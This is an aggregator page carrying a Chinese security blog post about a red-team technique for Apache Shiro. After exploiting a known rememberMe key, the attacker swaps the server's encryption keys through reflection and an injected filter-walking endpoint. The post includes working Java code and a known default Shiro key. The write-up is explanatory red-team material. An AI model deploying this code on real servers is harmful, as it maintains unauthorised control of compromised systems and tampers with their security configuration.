惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Recent Commits to openclaw:main
Recent Commits to openclaw:main
SecWiki News
SecWiki News
Webroot Blog
Webroot Blog
Application and Cybersecurity Blog
Application and Cybersecurity Blog
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
N
News and Events Feed by Topic
Recent Announcements
Recent Announcements
Help Net Security
Help Net Security
Jina AI
Jina AI
O
OpenAI News
雷峰网
雷峰网
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
博客园 - 三生石上(FineUI控件)
W
WeLiveSecurity
Schneier on Security
Schneier on Security
T
Threat Research - Cisco Blogs
IT之家
IT之家
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
Vercel News
Vercel News
N
News and Events Feed by Topic
T
The Exploit Database - CXSecurity.com
爱范儿
爱范儿
Recorded Future
Recorded Future
Google Online Security Blog
Google Online Security Blog
TaoSecurity Blog
TaoSecurity Blog
美团技术团队
Engineering at Meta
Engineering at Meta
Security Latest
Security Latest
V
V2EX
T
Tailwind CSS Blog
P
Privacy & Cybersecurity Law Blog
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
S
Schneier on Security
B
Blog
www.infosecurity-magazine.com
www.infosecurity-magazine.com
博客园 - 【当耐特】
PCI Perspectives
PCI Perspectives
GbyAI
GbyAI
I
Intezer
Spread Privacy
Spread Privacy
Security Archives - TechRepublic
Security Archives - TechRepublic
Cloudbric
Cloudbric
V
Visual Studio Blog
MongoDB | Blog
MongoDB | Blog
Forbes - Security
Forbes - Security
The Last Watchdog
The Last Watchdog
aimingoo的专栏
aimingoo的专栏
C
CERT Recently Published Vulnerability Notes
A
About on SuperTechFans
罗磊的独立博客

SumSec's Blog

AI Agent 工程的必然演进:CLI、Skills、Harne… 从安全角度谈Java反射机制--前章 · SUMSEC 从安全角度谈Java反射机制--终章 · SUMSEC 逆向学习fastjson反序列化始 · SUMSEC 2020年研究回顾总结 · SUMSEC Abstract syntax tree classes for … Analyzing data flow in Java · SUM… Annotations in Java · SUMSEC Basic query for Java code · SUMSEC BypassSuper使用介绍说明 · SUMSEC CodeQL Create OpenJdk/Jdk8 Databa… CodeQL library for Java · SUMSEC Navigating the call graph · SUMSEC Overflow-prone comparisons in Jav… Types in Java · SUMSEC Working with source locations · S… Aliases · SUMSEC Expression · SUMSEC Formulas · SUMSEC Javadoc · SUMSEC Modules · SUMSEC Predicates · SUMSEC Queries · SUMSEC Type · SUMSEC Variables · SUMSEC 一道shiro反序列化题目引发的思考 · SUMSEC 修改ysoserial使其支持任意代码执行 · SUMSEC 自定义 ClassLoader 隔离运行不同版本jar包的方式 ·… 2020网鼎杯---Java文件上传wp · SUMSEC CNVD-2020-10487(CVE-2020-1938)tom… JDSRC安全课笔记 · SUMSEC Java反序列化链回显解决方案 · SUMSEC Skipped breakpoint because it hap… Windows Terminal 配置文件 · SUMSEC bypass 学习笔记之绕安全狗bypass safedog · … 一次意外的代码审计----JfinalCMS审计 · SUMSEC 一篇文章读懂Java代码审计之XXE · SUMSEC 从安全角度谈Java反射机制--序章 · SUMSEC 小楼昨夜又春风,你知ysoserial-Gadget-URLDNS… 春眠不觉晓,RCE知多少? · SUMSEC 漫谈Commons-Collections反序列化 · SUMSEC 漫谈Java反序列化 · SUMSEC 白头搔更短,SSTI惹人心! · SUMSEC 记一次面试题 · SUMSEC About Me 关于我 · SUMSEC Apache Flink任意Jar包上传导致远程代码执行 · SU… CVE-2019-1388 UAC提权复现 · SUMSEC CVE-2019-16097 || Harbor任意管理员注册漏洞… Python加密shellcode免杀 · SUMSEC Telegram机器人作为渗透测试框架 · SUMSEC VM虚拟机无法安装vmtools解决|本程序需要您将此虚拟机上安装… 谁能想到,电视遥控器竟成了 Vibe Coding 神器 · SU… 从手改 Skill 到自动进化:评测结果和执行轨迹如何让 Agen… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的SKIL… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的Skil… AI 时代 ShiroAttack2 5.x:修改了什么 · SU… 在 AGI 降临前,先给 AI 开一条”脑内弹幕”通道 · SUM… 一篇博文,三种时间:网页幻灯与 Remotion 动效的交付逻辑 … 🔍 别让大模型”想太多”:SKILL开发中的语义陷阱与抗幻觉设计 … 2022 年年度总结 · SUMSEC Java Swing To RCE 漏洞分析 · SUMSEC SpringBoot GatewayEL表达式漏洞分析 · SUM… Sensitive keys in codebases · SUM… 论如何优雅注入 Java 内存马 · SUMSEC SUMSEC 知识点 · SUMSEC VMWare Workspace ONE Access Auth … Spring Framework RCE CVE-2022-229… 相似度算法调研 · SUMSEC CVE-2022-33891 Apache Spark shell… 正则匹配配置不当 · SUMSEC Spring Data MongoDB SpEL CVE-2022… CodeQl Usage Tricks · SUMSEC Spring Boot RCE到内存马探索 · SUMSEC Shiro后渗透拓展面 · SUMSEC GitHub Java CodeQL CTF · SUMSEC Hack-Tools 转化成Web · SUMSEC CodeQL与Shiro550碰撞 · SUMSEC CodeQL初见Shiro550 · SUMSEC CodeQL与AST之间联系 · SUMSEC Java加载动态链接库 · SUMSEC Log4j2 漏洞分析 · SUMSEC Interprocedural-Analysis 过程间分析 · … Data Analysis Foundation 数据分析基础 ·… Data Flow Analysis · SUMSEC Intermediate Representation 中间代表(… PII泄露–用CodeQL识别日志中的PII数据 · SUMSEC CodeQL workshop for Java: Unsafe … 前言 · SUMSEC 漏洞环境的搭建 · SUMSEC Fastjson回显 · SUMSEC Tomcat通用回显学习笔记 · SUMSEC 从Java反序列化漏洞题看CodeQL数据流 · SUMSEC 概述 · SUMSEC 记一次Log4j失败的Gadget挖掘记录 · SUMSEC Ysoserial改造记录 · SUMSEC JNDI注入 · SUMSEC shiro JRMP gadget · SUMSEC Fastjson MySQL gadget复现 · SUMSEC 2021年度总结 · SUMSEC
shiro反序列化漏洞攻击拓展面–修改key · SUMSEC
2023-01-09 · via SumSec's Blog

前言

   在这个shiro末年时代,攻防演练越来越难。对于传统红队队员提出了更高的一些要求,shiro最近的对于红蓝对抗中发挥了不可磨灭的价值。这里提出一些新奇的攻击手法针对shiro实战,提高红队队员的价值,以及让红蓝对抗更有意思一些。


默认环境

试想当我们发现某站点存在shiro并且已知key,那么这个站就理论上就不可能拿不下。但你能拿下,其他队伍也能拿下,那么如何将这个点牢牢的掌握在自己的手里呢?最好的办法就改加解密的key的值。

shiro <= 1.2.4默认是将key写在AbstractRememberMeManager类的DEFAULT_CIPHER_KEY_BYTES字段,当然还有其他方式配置文件、配置类等也是可以的。这里的DEFAULT_CIPHER_KEY_BYTES字段是权限是private static final, 只能通过反射方式去修改这个值。

image-20211104103046859

由于权限太死太小,一般直接调用反射是无法进行直接的修改。值得庆幸的是key是字节数组类型,而不是int、String等基本类型,不然得通过反射修改之后还得通过反射调用才能获取修改后的值。这里给个代码示例:

import org.apache.shiro.codec.Base64;

public class Penson {
    private static final String strX = "strX";
    private static final int intX = 1;
    private static final Object objX = new StringBuilder("objX");
    private static byte[] keys = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

    public String getStrX() {
        return strX;
    }

    public byte[] getKeys(){
        return keys;
    }

    public int getIntX() {
        return intX;
    }

    public Object getObjX() {
        return objX;
    }

    public Penson() {
    }
}

import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class DEMO1 {
    public static void main(String[] args) {
        Penson penson = new Penson();
        System.out.println("before修改: " + penson.getIntX());
        System.out.println("before修改: " + penson.getStrX());
        System.out.println("before修改: " + penson.getObjX());
        System.out.println("before修改: " + new String(penson.getKeys()));

        try {

            Field fieldInt = penson.getClass().getDeclaredField("intX");
            Field fieldStr = penson.getClass().getDeclaredField("strX");
            Field fieldObj = penson.getClass().getDeclaredField("objX");
            Field fieldKey = penson.getClass().getDeclaredField("keys");
            fieldInt.setAccessible(true);
            fieldStr.setAccessible(true);
            fieldObj.setAccessible(true);
            fieldKey.setAccessible(true);
            Field modifiers1 = fieldInt.getClass().getDeclaredField("modifiers");
            Field modifiers2 = fieldStr.getClass().getDeclaredField("modifiers");
            Field modifiers3 = fieldObj.getClass().getDeclaredField("modifiers");
            Field modifiers4 = fieldKey.getClass().getDeclaredField("modifiers");
            modifiers1.setAccessible(true);
            modifiers2.setAccessible(true);
            modifiers3.setAccessible(true);
            modifiers4.setAccessible(true);
            modifiers1.setInt(fieldInt,fieldInt.getModifiers() &~ Modifier.FINAL);
            modifiers2.setInt(fieldStr,fieldStr.getModifiers() &~ Modifier.FINAL);
            modifiers3.setInt(fieldObj,fieldObj.getModifiers() &~ Modifier.FINAL);
            modifiers4.setInt(fieldKey,fieldKey.getModifiers() &~ Modifier.FINAL);
            fieldInt.set(penson, 2);
            fieldStr.set(penson, "hello");
            fieldObj.set(penson, new StringBuffer("objx hello"));
            fieldKey.set(penson, new byte[]{12, 23, 45});
            System.out.println("");
            System.out.println("after修改 " + penson.getIntX());
            System.out.println("after修改 " + penson.getStrX());
            System.out.println("after修改 " + penson.getObjX());
            System.out.println("after修改 " + new String(penson.getKeys()));
            System.out.println();
            System.out.println("after修改 反射调用 " + fieldInt.get(penson));
            System.out.println("after修改 反射调用 " + fieldStr.get(penson));
            System.out.println("after修改 反射调用 " + fieldObj.get(penson));
            System.out.println("after修改 反射调用 " +new String((byte[])fieldKey.get(penson)));

        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }


    }
}

image-20211104112909926


使用spring boot搭建shiro环境就免不了需要配置bean,这里还是使用GitHub上项目JavaLearnVulnerability作为示例。这是一个最简单的配置下,不难发现最终所有配置内容都是最终到ShiroFilterFactoryBean之中。

@Configuration
public class ShiroConfig {
    @Bean
    MyRealm myRealm() {
        return new MyRealm();
    }

    @Bean
    DefaultWebSecurityManager securityManager() {
        DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
        manager.setRememberMeManager(rememberMeManager());
        manager.setRealm(myRealm());
        return manager;
    }

    @Bean
    public RememberMeManager rememberMeManager(){
        CookieRememberMeManager cManager = new CookieRememberMeManager();
        cManager.setCipherKey(Base64.decode("4AvVhmFLUs0KTA3Kprsdag=="));
        SimpleCookie cookie = new SimpleCookie("rememberMe");
        cookie.setMaxAge(7 * 24 * 60 * 60);
        cManager.setCookie(cookie);
        return cManager;
    }

    @Bean
    ShiroFilterFactoryBean shiroFilterFactoryBean() {
        ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
        bean.setSecurityManager(this.securityManager());
        Map<String, String> map = new LinkedHashMap();
        map.put("/**", "anon");//* anon:匿名用户可访问
        map.put("/*", "anon");//* anon:匿名用户可访问
        map.put("/index/**", "anon"); //authc:认证用户可访问
        map.put("/index/*", "anon"); //authc:认证用户可访问
        bean.setFilterChainDefinitionMap(map);
        return bean;
    }

}

从命名中就能看到是一个filter bean,debug查看一些请求的堆栈信息。随便找个调用doFilter方法进去就能发现存在filters,ShiroFilterFactoryBean是在第三个。

image-20211104143156487

进行找到securityManager->rememberMeManager就能发现encryptionCipherKeydecryptionCipherKey

image-20211104101315335


AbstractRememberMeManager源码可以发现如果开发人员没有配置setCipherKey方法的,encryptionCipherKey和decryptionCipherKey是和DEFAULT_CIPHER_KEY_BYTES是一个值。所以其实就算前面我们修改成功DEFAULT_CIPHER_KEY_BYTES的值也是没有用,本质得修改encryptionCipherKey和decryptionCipherKey的值。

修改思路

我们得出得修改decryptionCipherKey和encryptionCipherKey的值,目前有两种解决方案:

  1. 拿下目标之后直接对目标的配置文件就行修改,然后重启服务。
  2. 利用filter内存马思维去修改shiroFilterFactoryBean中的encryptionCipherKey和decryptionCipherKey的值。

显然重启服务是一个不可取操作,那么只剩下filter内存马方法。这里直接给出解决代码:

    @RequestMapping("/say")
    public String HelloSay(HttpServletRequest request , HttpServletResponse response) throws Exception {
        ServletContext context = request.getServletContext();
        Object obj = context.getFilterRegistration("shiroFilterFactoryBean");
        Field field = obj.getClass().getDeclaredField("filterDef");
        field.setAccessible(true);
        obj = field.get(obj);
        field = obj.getClass().getDeclaredField("filter");
        field.setAccessible(true);
        obj = field.get(obj);
        field = obj.getClass().getSuperclass().getDeclaredField("securityManager");
        field.setAccessible(true);
        obj = field.get(obj);
        field = obj.getClass().getSuperclass().getDeclaredField("rememberMeManager");
        field.setAccessible(true);
        obj = field.get(obj);
        java.lang.reflect.Method setEncryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setEncryptionCipherKey", new Class[]{byte[].class});
        byte[] bytes = java.util.Base64.getDecoder().decode("3AvVhmFLUs0KTA3Kprsdag==");
//                    java.util.Base64.getEncoder().encode(bytes);
        setEncryptionCipherKey.invoke(obj, new Object[]{bytes});
        java.lang.reflect.Method setDecryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setDecryptionCipherKey", new Class[]{byte[].class});
        setDecryptionCipherKey.invoke(obj, new Object[]{bytes});
//        response.
//        response.getClas
        response.getWriter().println("ok");
        response.getWriter().flush();
        response.getWriter().close();
        return "ok";
    }

实际本地测试效果,这里使用笔者自己魔改的shiro_attack工具进行实际测试:

这是修改之前的使用配置key(4AvVhmFLUs0KTA3Kprsdag==)的攻击效果:

image-20211104151049367

image-20211104151115075

然后访问/say修改key

image-20211104151532116

image-20211104151554328

image-20211104151615774

总结

修改shiro的filter逻辑进而修改加解密key,其实和打filter内存马逻辑差不多。只是打内存马是添加一个filter,然后将添加的filter处理逻辑移到第一个处理。修改key是原本的处理逻辑就有存在filter,但将原本的filter修改逻辑,将key的字节修改成设置的key。所以说重启服务就修改key失效,和内存马逻辑是一样的。然后这个对业务应该是没有任何影响除非业务用到了key,总之修改key还是慎重吧。


参考

https://zhuanlan.zhihu.com/p/107267834